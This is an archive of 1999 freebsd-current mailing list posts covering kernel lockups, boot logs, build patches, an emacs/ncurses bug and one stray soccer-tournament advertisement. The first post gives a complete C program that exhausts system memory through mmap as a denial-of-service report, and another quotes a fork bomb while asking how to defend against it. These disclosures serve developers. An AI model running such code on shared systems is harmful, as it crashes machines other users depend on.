VM DOS attack
Hi there,
Probably it is already known problem, but it seems that any unprivileged
malicious user with 15-20 MB disk quota can bring either 3-STABLE or 4-CURRENT
system to its knees using relatively simple program.
#include sys/types.h
#include sys/mman.h
#include unistd.h
#include fcntl.h
#include errno.h
main()
{
int fd;
int i;
int len=1024*1024*10; /*ie 10Mbytes*/
caddr_t addr;
char ttt[80];
for (i=0;;i++)
{
sprintf (ttt,"%d",i);
fd=open(ttt,O_CREAT|O_RDWR,0666);
if (fd0)
{
printf("open error %ld\n",errno);
exit(1);
}
lseek(fd,len-1,SEEK_SET);
write(fd,"",1);
addr=mmap(0,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
if (addr==MAP_FAILED)
{
printf("mmap error %ld",errno);
exit(1);
}
close(fd);
memset(addr,'x',len);
}
}
-Maxim
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Current kernel locks up during boot
Hi, -current kernels from the past 48hrs or so lock up during boot on my SMP box, as in: Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #50: Tue Oct 26 13:53:14 BST 1999 rb@bludnok:/source/cleansrc/sys/compile/BLUDNOK_MP Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (349.07-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x651 Stepping = 1 Features=0x183fbffFPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA, CMOV,PAT,PSE36,MMX,FXSR real memory = 134152192 (131008K bytes) avail memory = 126148608 (123192K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 0, version: 0x00040011, at 0xfee0 cpu1 (AP): apic id: 1, version: 0x00040011, at 0xfee0 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec0 Preloaded elf kernel "kernel.old" at 0xc03cb000. Pentium Pro MTRR support enabled npx0: math processor on motherboard npx0: INT 16 interface pcib0: Intel 82443BX (440 BX) host to PCI bridge on motherboard pci0: PCI bus on pcib0 pcib1: Intel 82443BX (440 BX) PCI-PCI (AGP) bridge at device 1.0 on pci0 pci1: PCI bus on pcib1 isab0: Intel 82371AB PCI to ISA bridge at device 7.0 on pci0 isa0: ISA bus on isab0 ide_pci0: Intel PIIX4 Bus-master IDE controller at device 7.1 on pci0 chip1: UHCI USB controller irq 11 at device 7.2 on pci0 Timecounter "PIIX" frequency 3579545 Hz chip2: Intel 82371AB Power management controller at device 7.3 on pci0 ahc0: Adaptec 2940 Ultra SCSI adapter irq 16 at device 8.0 on pci0 ahc0: aic7880 Single Channel A, SCSI Id=7, 16/255 SCBs vga-pci0: S3 ViRGE DX/GX graphics accelerator irq 19 at device 11.0 on pci0 fdc0: NEC 72065B or clone at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: 1440-KB 3.5" drive on fdc0 drive 0 wdc0 at port 0x1f0-0x1f7 irq 14 on isa0 wdc0: unit 0 (wd0): QUANTUM FIREBALL_TM1280A wd0: 1222MB (2503872 sectors), 2484 cyls, 16 heads, 63 S/T, 512 B/S atkbdc0: keyboard controller (i8042) at port 0x60-0x6f on isa0 atkbd0: AT Keyboard irq 1 on atkbdc0 vga0: Generic ISA VGA at port 0x3b0-0x3df iomem 0xa-0xb on isa0 sc0: System console on isa0 sc0: VGA 16 virtual consoles, flags=0x200 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A sio2: not probed (disabled) sio3: not probed (disabled) ppc0 at port 0x378-0x37f irq 7 flags 0x40 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode plip0: PLIP network interface on ppbus 0 lpt0: generic printer on ppbus 0 lpt0: Interrupt-driven port ppi0: generic parallel i/o on ppbus 0 ...and there it freezes. Total lockup, reset button or power cycle only. Apparently it's barfing either on one of the PCI netcard probes, or trying to initialise ed0 which on an older kernel probes as: ed0 at port 0x300-0x31f iomem 0xd8000 irq 10 on isa0 ed0: address 00:20:18:72:97:67, type NE2000 (16 bit) Any ideas? -- Bob Bishop +44 118 977 4017 [EMAIL PROTECTED]fax +44 118 989 4254 (0800-1800 UK) To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
(vinum?) lockups in strategy routines?
Anyone running -current as of Oct 28, 1999 getting lockups in device strategy routines? I thought I'd be able to get a dump but it didn't work. Specifically I'm running vinum in striping mode and the new ata-drivers. 10 Aug 1999 14:27:51.389915 stripe /dev/da0e /dev/da1e A kernel from Wed Oct 6 seems fine (able to buildworld). grog? :) I hope to get a crashdump soon, is there anything i can do help debug this in the meanwhile? Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #4: Wed Oct 27 06:56:03 PDT 1999 bright@thumper:/home/src/sys/compile/thumper Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (400.91-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x652 Stepping = 2 Features=0x183fbffFPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR real memory = 536858624 (524276K bytes) config irq pcm0 5 avail memory = 517173248 (505052K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 1, version: 0x00040011, at 0xfee0 cpu1 (AP): apic id: 0, version: 0x00040011, at 0xfee0 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec0 Preloaded elf kernel "kernel" at 0xc0355000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc035509c. Pentium Pro MTRR support enabled npx0: math processor on motherboard npx0: INT 16 interface apm0: APM BIOS on motherboard apm: found APM BIOS v1.2, connected at v1.2 pcib0: Intel 82443BX (440 BX) host to PCI bridge on motherboard pci0: PCI bus on pcib0 pcib1: Intel 82443BX (440 BX) PCI-PCI (AGP) bridge at device 1.0 on pci0 pci1: PCI bus on pcib1 vga-pci0: Matrox model 0521 graphics accelerator irq 16 at device 0.0 on pci1 isab0: Intel 82371AB PCI to ISA bridge at device 4.0 on pci0 isa0: ISA bus on isab0 ata-pci0: Intel PIIX4 IDE controller at device 4.1 on pci0 ata-pci0: Busmastering DMA supported ata0 at 0x01f0 irq 14 on ata-pci0 chip1: UHCI USB controller irq 19 at device 4.2 on pci0 Timecounter "PIIX" frequency 3579545 Hz chip2: Intel 82371AB Power management controller at device 4.3 on pci0 ahc0: Adaptec aic7890/91 Ultra2 SCSI adapter irq 19 at device 6.0 on pci0 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs bktr0: BrookTree 878 irq 17 at device 11.0 on pci0 iicbb0: I2C generic bit-banging driver on bti2c0 iicbus0: Philips I2C bus on iicbb0 master-only iicsmb0: I2C to SMB bridge on iicbus0 smbus0: System Management Bus on iicsmb0 smb0: SMBus general purpose I/O on smbus0 iic0: I2C general purpose I/O on iicbus0 smbus1: System Management Bus on bti2c0 smb1: SMBus general purpose I/O on smbus1 bktr0: Hauppauge Model 62471 A2 Hauppauge WinCast/TV, Philips FR1236 NTSC FM tuner, dbx stereo. pci0: unknown card (vendor=0x109e, dev=0x0878) at 11.1 irq 17 fxp0: Intel EtherExpress Pro 10/100B Ethernet irq 16 at device 12.0 on pci0 fxp0: Ethernet address 00:90:27:3c:77:aa fdc0: NEC 72065B or clone at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: 1440-KB 3.5" drive on fdc0 drive 0 pcm0: SoundBlaster 16 4.5 at port 0x220-0x22f irq 5 drq 3 flags 0x15 on isa0 ppc0 at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/9 bytes threshold lpt0: generic printer on ppbus 0 lpt0: Interrupt-driven port ppi0: generic parallel i/o on ppbus 0 sc0: System console on isa0 sc0: VGA 16 virtual consoles, flags=0x200 atkbdc0: keyboard controller (i8042) at port 0x60-0x6f on isa0 atkbd0: AT Keyboard irq 1 on atkbdc0 vga0: Generic ISA VGA at port 0x3b0-0x3df iomem 0xa-0xb on isa0 sio0 at port 0x3f8-0x3ff irq 4 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A SMP: AP CPU #1 Launched! ad0: Maxtor 82560A4/AA8Z2726 ATA-3 disk at ata0 as master ad0: 2442MB (5001696 sectors), 4962 cyls, 16 heads, 63 S/T, 512 B/S ad0: 16 secs/int, 0 depth queue, DMA Creating DISK ad0 Creating DISK wd0 Waiting 6 seconds for SCSI devices to settle Creating DISK da0 Creating DISK da1 Creating DISK cd0 Creating DISK cd1 changing root device to wd0s1a da0 at ahc0 bus 0 target 2 lun 0 da0: QUANTUM VIKING II 9.1WSE 5520 Fixed Direct Access SCSI-2 device da0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da0: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) da1 at ahc0 bus 0 target 4 lun 0 da1: QUANTUM VIKING II 9.1WSE 5520 Fixed Direct Access SCSI-2 device da1: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da1: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) WARNING: / was not properly dismounted vinum: loaded vinum: reading configuration from /dev/da0s1e vinum: updating configuration from /dev/da1s1e cd0 at ahc0 bus 0 target 0 lun 0 cd0: TOSHIBA CD-ROM XM-6201TA 1037
Re: (vinum?) lockups in strategy routines?
Hello, just another datapoint. I just installed two new IBM DPTA-343740 discs into my System at home. They are configured with striping in vinum. Within a day I got two solid lockups with the new ata-drivers. After that I switchied to the old wd-driver. Everythings works fine since then. I do not have the exact configuration here. The system is at home and I am here at my workplace. The General setup is as follows: Gigabyte 6BXDS-MoBo with 2x350Mhz PII, 256MB-Ram, 2 SCSI-Disks, 2 DPTA 343740, each as master on a seperate (internal) IDE bus. No other IDE/ATAPI devices. Everything is on 4.0-current of (around) Oct. 22th. (Btw. I had to set the jumper that clips the disk-size to below 32GB on these drives to make the Gigabyte Mobo recognize them). If someone is interessted in more details, I will be able to send them when I am at home. Michael On Fri, 29 Oct 1999, Alfred Perlstein wrote: Anyone running -current as of Oct 28, 1999 getting lockups in device strategy routines? I thought I'd be able to get a dump but it didn't work. Specifically I'm running vinum in striping mode and the new ata-drivers. 10 Aug 1999 14:27:51.389915 stripe /dev/da0e /dev/da1e A kernel from Wed Oct 6 seems fine (able to buildworld). ___ Michael ClassE-Mail: [EMAIL PROTECTED] E-Business Solution Division Phone: +49 7031 14-3707 Fax:+49 7031 14-4505 ___ Hewlett-Packard GmbH, PO Box 1430, Mailstop SERC2, 71004 Boeblingen To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: make buildworld problem...
On Thu, 28 Oct 1999, Marcel Moolenaar wrote:
Peter Jeremy wrote:
(/me wonders how many MORE times we are going to have to say this because
of the signal changes...)
A very large number I suspect.
IMHO, the correct solution is to for the entire make world process to
be re-worked.
That's what I'm currently doing. If I have a stripped down make process
ready for public viewing, I'll let you all know. A thread on the subject
can be found in the -arch archives.
As an interim hack, would the following patch, which verifies
kern.osreldate = 400011, suffice?
Index: Makefile.inc0
===
RCS file: /home/ncvs/src/Makefile.inc0,v
retrieving revision 1.18
diff -u -r1.18 Makefile.inc0
--- Makefile.inc0 1999/08/28 01:35:58 1.18
+++ Makefile.inc0 1999/10/29 12:41:18
@@ -15,6 +15,11 @@
MAKEOBJDIRPREFIX?=/usr/obj
#
+# Check kern.osreldate to ensure kernel will support building world
+#
+OSRELDATE= `/sbin/sysctl -a | grep osreldate | awk '{ print $$2; }'`
+
+#
# Variables passed to make work better if they are set as environment
# variables instead of command line options.
#
@@ -106,6 +111,13 @@
# support if the current object format is elf on i386.
#
buildworld :
+ @if [ ${OSRELDATE} -lt "400011" ]; then \
+ echo; \
+ echo "The current kernel does not support building world. Please
+read"; \
+ echo "the 19990929 entry in ${.CURDIR}/UPDATING for more
+information."; \
+ echo; \
+ exit 1; \
+ fi
@cd ${.CURDIR}; ${MK_ENV} ${MAKE} buildworld
.if${MACHINE_ARCH} == "i386" ${OBJFORMAT} == "elf" defined(WANT_AOUT)
@cd ${.CURDIR}; ${LEGACY_ENV} ${XMAKE} legacy-build
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: Deadlock in nbufkv
On Mon, 25 Oct 1999, Peter Jeremy wrote: I've recently upgraded a system from 3.2-RELEASE to -CURRENT as of 30-Sept (just before the signal changes). I now find that when I try to do a CVS checkout, the system hangs, with cvs in `nbufkv'. The CVSROOT is on a filesystem with standard 8K/1K blocks. The target FS is 32k/4k. Both FS are running softupdates. This worked without problem under 3.2. The kernel config files are basically Filesystems with a block size BKVASIZE can cause fragmentation of buffer virtual memory, so that there is no space for large buffers allthough there is plently of space for small buffers. 3.x handles the fragmentation more aggressively by discarding lots of potentially useful buffers. -current sometimes waits for fragmentation to be reduced instead, but sometimes seems to deadlock. I think it doesn't always deadlock; it just makes very slow progress. Matt's recent `kvawakeup' changes in vfs_bio.c may have fixed this. Filesystems with different block sizes also cause pessimal behaviour for reallocating buffer virtual memory. Allocation time scales with O(nbuf^2) or worse. For nbuf = 1, I've observed the allocation time reducing the maximum transfer speed to 4MB/sec on a system that can copy buffers at 300MB/sec. Fragmentation of buffer virtual memory is easy to avoid except on systems with lots of memory (more than about 1GB) by setting BKVASIZE large: diff -c2 kern/vfs_bio.c~ kern/vfs_bio.c *** kern/vfs_bio.c~ Thu Oct 28 19:54:40 1999 --- kern/vfs_bio.c Thu Oct 28 20:17:49 1999 *** *** 329,332 --- 369,373 /* +* XXX out of date: * maxbufspace is currently calculated to be maximally efficient * when the filesystem block size is DFLTBSIZE or DFLTBSIZE*2 *** *** 341,346 * buffer cache operation. */ ! maxbufspace = (nbuf + 8) * DFLTBSIZE; hibufspace = imax(3 * maxbufspace / 4, maxbufspace - MAXBSIZE * 5); /* * Limit the amount of malloc memory since it is wired permanently into --- 382,392 * buffer cache operation. */ ! #if BKVASIZE = MAXBSIZE ! maxbufspace = nbuf * BKVASIZE; ! #else ! maxbufspace = (nbuf + 8) * BKVASIZE / 2; ! #endif hibufspace = imax(3 * maxbufspace / 4, maxbufspace - MAXBSIZE * 5); + /* * Limit the amount of malloc memory since it is wired permanently into diff -c2 sys/param.h~ sys/param.h *** sys/param.h~Thu Sep 30 07:04:18 1999 --- sys/param.h Thu Sep 30 07:04:20 1999 *** *** 147,166 /* ! * File system parameters and macros. * ! * The file system is made out of blocks of at most MAXBSIZE units, with ! * smaller units (fragments) only in the last direct block. MAXBSIZE ! * primarily determines the size of buffers in the buffer pool. It may be ! * made larger without any effect on existing file systems; however making ! * it smaller make make some file systems unmountable. Also, MAXBSIZE ! * must be less than MAXPHYS!!! DFLTBSIZE is the average amount of ! * memory allocated by vfs_bio per nbuf. BKVASIZE is the average amount ! * of kernel virtual space allocated per nbuf. BKVASIZE should be = ! * DFLTBSIZE. If it is significantly bigger than DFLTBSIZE, then ! * kva fragmentation causes fewer performance problems. */ #define MAXBSIZE65536 ! #define BKVASIZE 8192 ! #define DFLTBSIZE 4096 #define MAXFRAG 8 --- 143,171 /* ! * MAXBSIZE is the maximum size of buffers in the buffer pool. File systems ! * must not request buffers with a larger size. If their block size is ! * larger, then they must split up their blocks. MAXBSIZE should not be ! * reduced without changing all file systems that depend on it being large. ! * Also, MAXBSIZE must be less than MAXPHYS. * ! * BKVASIZE is the amount of kernel VM allocated per buffer. It should be ! * at least as large as the block size of the most heavily used file system, ! * but no larger than MAXBSIZE. Increasing it towards MAXBSIZE reduces ! * kernel VM fragmentation so it may improve performance, but it may waste ! * kernel VM. */ + #define BKVASIZE65536 #define MAXBSIZE65536 ! ! /* ! * File system parameters and macros. ! */ ! ! /* ! * Misplaced file system parameter/macro. XXX. ! * ! * The ufs file system is made out of blocks, with smaller units ! * (fragments) only in the last direct block. ! */ #define MAXFRAG 8 Bruce To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Sardinia Cup 2000 - International Soccer Tournament
Dear sporting friends, We want to inform you that we will organize international football tournaments in Sardinia, of which you will find more greater reports in the enclosed news. We like invite yours teams to these tournaments. When your team had interested to the participation in one or more of these foregoing events, contact us. We invite you to visit our site Internet to the address http://www.geocities.com/eventsport In the 1999 at Sardinia Cup we have had two teams from Peru, three teams from Romania. See results at http://www.geocities.com/eventsport/sardinia_cup_gb_1999.html Sardinia Cup 2000 5 - 9 July 2000 Assemini (CAGLIARI) - Sardinia - Italy http://www.geocities.com/eventsport/sardinia_cup_gb_2000.html CATEGORIES ADMITTED Categories admitted Limit of age Times of play Boys born A - Debuttanti * 1.1.1991 or 2 x 20' later B - Pulcini * Boys born 2 x 20' 1.1.1989 or later C - EsordientiBoys born 2 x 20' 1.1.1987 or later D - Giovanissimi Boys born 2 x 25' 1.1.1985 or later Boys born E - Allievi 1.1.1983 or 2 x 25' later F - Juniores Boys born 2 x 25' 1.1.1981 or later G - Womenswithout limit of 2 x 30' age H - Mens without limit of 2 x 30' age I - Futsal - without limit of Mens**age 2 x 25' L - Futsal - without limit of Womens** age 2 x 25' * The categories A - B played with 7-a side. ** The categories I - L played with 5-a side Dates of the tournament: 5 - 9 July 2000 Start of the Tournament: 5 July 2000 End of the Tournament: 8 July 2000 Number of matches for team: minimum 4, maximum 6. First meal: supper of the 5 July 2000 Last meal: breakfast of the 9 July 2000 Fields of play: in beat earth, in natural grass and in synthetic grass for the futsal. PROGRAMME OF THE TOURNAMENT WEDNESDAY 5 July 2000 Hours 9.00 Arrival. Meeting of all clubs. Parade at the Stadium. Hours 9.30 Opening of the Tournament at the Stadium. Official Welcome to all the participants. Hours 10.00 Start of the Tournament. Hours 16.00 Qualifying games. THURSDAY 6 July 2000 Hours 9.00 Qualifying games. Hours 16.00 Qualifying games. FRIDAY 7 July 2000 Hours 9.00 Qualifying games. Hours 16.00 Qualifying games. SATURDAY 8 July 2000 Hours 9.00 Semi-finals. Hours 16.00 Finals. Hours 20.00 Ceremony of prize-winners. SUNDAY 9 July 2000 Hours 9.00 Preparation for the departure. Departure. Maybe technical changes. INDIVIDUAL FEE OF PARTICIPATION (From the dinner of 5 July 2000 at the breakfast of 9 July 2000) EXTRA ARRANGEMENT 4 NIGHTS 4 NIGHTS 4 NIGHTSEXTRA EXTRA NIGHT B/B H/B F/BNIGHT B/B NIGHT H/B F/B Schools - players and£.£. 2 ==== 200.000== == 60.000 teamleaders 104 EURO 32 EURO Hotel*** - Boys£.£.£. £. 70.000 £. 80.000£. (0 - 10 old 240.000 280.000 320.00090.000 years)125 EURO 146 EURO 166 EURO 37 EURO 42 EURO 47 EURO Hotel*** - £.£.£. £. 75.000 £. 85.000£. adults280.000 320.000 360.00095.000 146 EURO 166 EURO 187 EURO 40 EURO 45 EURO 50 EURO Arrangement in room double, triple or multiple for the players. All rooms with with private bathroom. Fee of participation for every team: £. 350.000 (181 EURO)**. Fee of participation for team. that don't exploite accomodation of the Tournament (without transfers) £. 1.200.000 (620 EURO)** ** (not repayable on case of renouncement). THE INDIVIDUAL FEE OF PARTICIPATION INCLUDES: Participation at the chosen Tournament and arrangement in accomodation of your chose. THE FEE DOESN'T INCLUDE: transfers from and from the airports or the harbors, excursions, drinks, entrances and another and everything as not specified expressly to the voice "The individual fee of participation includes". SUPPLEMENT FOR SINGLE ROOM AT HOTEL***: £. 30.000 (16 EURO) italian Lires for night. TRANSPORT: Fee of transport for team. from the harbor or from the airport of Cagliari: CAGLIARI - ASSEMINI and return £. 750.000 (388 EURO) for team. FINAL DATE OF INSCRIPTION: 06 May 2000 (after this data will be accepted only inscriptions at complete places). PAYMENT: Fee of participation for team: within of the 06 May 2000. Individual fee of participation: 40% within of the 20 May 2000. Balance: within of the 06 June 2000. NOTE: the inscription will be valid only to total
Re: make buildworld problem...
"Chris D. Faulhaber" wrote: On Thu, 28 Oct 1999, Marcel Moolenaar wrote: Peter Jeremy wrote: IMHO, the correct solution is to for the entire make world process to be re-worked. That's what I'm currently doing. If I have a stripped down make process ready for public viewing, I'll let you all know. A thread on the subject can be found in the -arch archives. As an interim hack, would the following patch, which verifies kern.osreldate = 400011, suffice? IMO it's overkill for a one time situation that can be considered historical at this point in time :-) -- Marcel Moolenaarmailto:[EMAIL PROTECTED] SCC Internetworking Databases http://www.scc.nl/ The FreeBSD projectmailto:[EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
RE: protecting from attacks
I have been trying to figure out a sane method of stopping this one:
while(1) {
fork();
}
on a machine with no limits the load went to 290+ I tried fiddling with
limits and got it down to making the load 2-3 but the limits are ridiculous.
I didn't look in mail archives so sorry if this has been discussed before
Luke
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
VESA module breaks USB?
On Thu, 28 Oct 1999 22:27:48 -0400, Christopher Masto [EMAIL PROTECTED] said: ohci0: OPTi 82C861 (FireLink) USB controller irq 9 at device 11.0 on pci0 +ohci_waitintr: timeout IRQ 9 is shared with the VGA controller. Perhaps calling the VESA BIOS caused it to do something strange that interfered with the delivery of this interrupt on your motherboard. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same [EMAIL PROTECTED] | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: odd NFS behaviour with DU 4.F client
Matthew Dillon writes: Well, there was a bug in nfsrv_create() which caused the server to not reply to an NFS packet. This led to a general revamping of the server side code which may have fixed other rpc's at the same time. Whether fixing that bug solves the problem you are having or not is unknown. :I would guess that the DU4CLIENT has the filehandle cached somewhere, :even though it has unmounted the filesystem. : :My question: Whose fault is this? Should the FreeBSD server be :ignoring requests to a valid filehandle if the client has not mounted :the FS? Should it be returning some sort of error? : :Thanks, : :Drew There should be a response to the rpc either way so my guess is that it is a server-side bug. It turns out that the user was in 17 groups (DU supports up to 32). After I removed him from 2 groups got his group count down to 15, all was well. After I upgrade the NFS server to a more recent -current, I'll test this again with a user in 17 groups. Thanks again, Drew To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: lsof + namecache
On Thursday, 28 October 1999 at 10:52:30 -0400, Garrett Wollman wrote: On Thu, 28 Oct 1999 09:09:54 +0200, Poul-Henning Kamp [EMAIL PROTECTED] said: The lsof functionality should in my opinion be added to the system, and the necessary hooks should be added to the kernel using sysctl. fstat(1). It doesn't quite have the functionality. Greg -- Finger [EMAIL PROTECTED] for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: AMRD (MegaRAID) BIOS rev another other questions
On Tuesday, 26 October 1999 at 11:26:47 +0100, Geoff Buckingham wrote: On Sun, Oct 24, 1999 at 09:58:11AM -0600, Greg Lehey wrote: Indeed. It's quite easy to put all cylinder groups on a single spindle; I've seen reports of up to 80% degradation under these circumstances. Where sequential read/write performance is not critical you can stripe at cluster size to avoid this. Other wise using an odd number of spindles for a stripe and an even number for a RAID3 or RAID5 or stripeing at an interval which is not a power of two should work (12,24,48,76 etc) The best I've heard of is 768 kB - 1 sector. This works on Vinum, but it seems that most RAID controllers use a somewhat simplistic striping algorithm. You might like to try 31 kB or such. This won't make any difference with rawio, though. I would agree from experiance that 768 KB seems a good selection for vinum and probably ccd too There's a big difference between 768 kB and 767½ kB. That's the point I was trying to make. With 768 kB, you risk having all your superblocks on one drive. Greg -- Finger [EMAIL PROTECTED] for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
K6-III wrtalloc + mtrr support ?
All, I recently moved from a K6-2 to a K6-III and my dmesg output appears to have changed. In particular I'm not seeing messages about wrtalloc and mtrr support anymore - are they not supported for the K6-III ? FreeBSD 4.0-CURRENT #0: Fri Oct 29 01:59:19 EDT 1999 atrens@churchill:/usr/local/src/cvs/sys/compile/CHURCHILL Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 451023849 Hz CPU: AMD-K6(tm) 3D+ Processor (451.02-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x591 Stepping = 1 Features=0x8021bfFPU,VME,DE,PSE,TSC,MSR,MCE,CX8,PGE,MMX AMD Features=0x8800SYSCALL,3DNow! Andrew. -- +-- | Andrew Atrens Nortel Networks, Ottawa, Canada. | | All opinions expressed are my own, not those of any employer. | --+ Heller's Law: The first myth of management is that it exists. Johnson's Corollary: Nobody really knows what is going on anywhere within the organization. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
emacs / ncurses - problem somewhere
Hi, Ever since the libtermcap / libncurses consolidation, change emacs has problems positioning the cursor and properly updating the screen for character-only devices like the console. It also affects the display in an xterm in non-X mode, i.e., when DISPLAY is *not* set. This is emacs 20.4, by the way on current as of yesterday. I've tried emacs from packages as well as a freshly built one from the ports and both exhibit the problem. Note that emacs works fine when it brings up is own window due to DISPLAY being set. Has anyone else seen this and already have a fix or know for sure whether this is an emacs bug or a FreeBSD bug? Thanks, -Brian -- Brian Dean [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: emacs / ncurses - problem somewhere
|Hi, | |Ever since the libtermcap / libncurses consolidation, change emacs has |problems positioning the cursor and properly updating the screen for |character-only devices like the console. It also affects the display |in an xterm in non-X mode, i.e., when DISPLAY is *not* set. | |This is emacs 20.4, by the way on current as of yesterday. I've tried |emacs from packages as well as a freshly built one from the ports and |both exhibit the problem. | |Note that emacs works fine when it brings up is own window due to |DISPLAY being set. | |Has anyone else seen this and already have a fix or know for sure |whether this is an emacs bug or a FreeBSD bug? Yup! And also for 19.34b... I've searched all over for the source of this problem, glad to know I'm not alone. However, it only affects one of my three -current boxes, so apparently there is bit of cruft lying around, but I haven't been able to find the sucker causing this. (mergemaster'd repeatedly) Russell | |Thanks, |-Brian |-- |Brian Dean [EMAIL PROTECTED] | | |To Unsubscribe: send mail to [EMAIL PROTECTED] |with "unsubscribe freebsd-current" in the body of the message | To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: emacs / ncurses - problem somewhere
"Russell L. Carter" [EMAIL PROTECTED] writes: Yup! And also for 19.34b... I've searched all over for the source of this problem, glad to know I'm not alone. However, it only affects one of my three -current boxes, so apparently there is bit of cruft lying around, but I haven't been able to find the sucker causing this. (mergemaster'd repeatedly) Are the ones that work linked with an old version of libtermcap.so that was lying around or are they linked with the new libncurses.so.5 ? -- Kevin Street [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: emacs / ncurses - problem somewhere
Ever since the libtermcap / libncurses consolidation, change emacs has problems positioning the cursor and properly updating the screen for character-only devices like the console. It also affects the display in an xterm in non-X mode, i.e., when DISPLAY is *not* set. This is emacs 20.4, by the way on current as of yesterday. I've tried emacs from packages as well as a freshly built one from the ports and both exhibit the problem. Note that emacs works fine when it brings up is own window due to DISPLAY being set. Has anyone else seen this and already have a fix or know for sure whether this is an emacs bug or a FreeBSD bug? I filed a bug report for this. I fixed it in Emacs with the following patch. I think it's a FreeBSD bug, though. -Peter- [EMAIL PROTECTED] --- /tmp/tparam.c Fri Oct 29 12:27:03 1999 +++ tparam.cThu Oct 7 23:07:24 1999 @@ -290,6 +290,9 @@ case 'D': /* %D means weird Delta Data transformation. */ argp[0] -= 2 * (tem % 16); break; + case 'p': /* from terminfo */ + p++; + break; } } else To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
copy-on-write optimized faults
I would appreciate it if people running -current would run a "vmstat -s" and tell me if they see a NON-ZERO value for copy-on-write optimized faults. About six months ago, I implemented a simpler and more general optimization at an earlier "fork in the road". (In effect, I avoid the creation of the redundant vm object that "copy-on-write optimized faults" applies to.) If I don't hear anything, I plan to remove the vestiges of this "optimization" from the vm fault handler. Alan To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: emacs / ncurses - problem somewhere
|"Russell L. Carter" [EMAIL PROTECTED] writes: | | Yup! And also for 19.34b... I've searched all over for the | source of this problem, glad to know I'm not alone. However, | it only affects one of my three -current boxes, so apparently there is | bit of cruft lying around, but I haven't been able to find | the sucker causing this. (mergemaster'd repeatedly) | |Are the ones that work linked with an old version of libtermcap.so that |was lying around or are they linked with the new libncurses.so.5 ? ldd emacs on -current with the bug: libncurses.so.5 = /usr/lib/libncurses.so.5 (0x2824a000) ldd emacs on -current without the bug (different system): libtermcap.so.2 = /usr/lib/libtermcap.so.2 (0x1828c000) Russell | |-- |Kevin Street |[EMAIL PROTECTED] | To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Missing HP Colorado 8G ATAPI drive
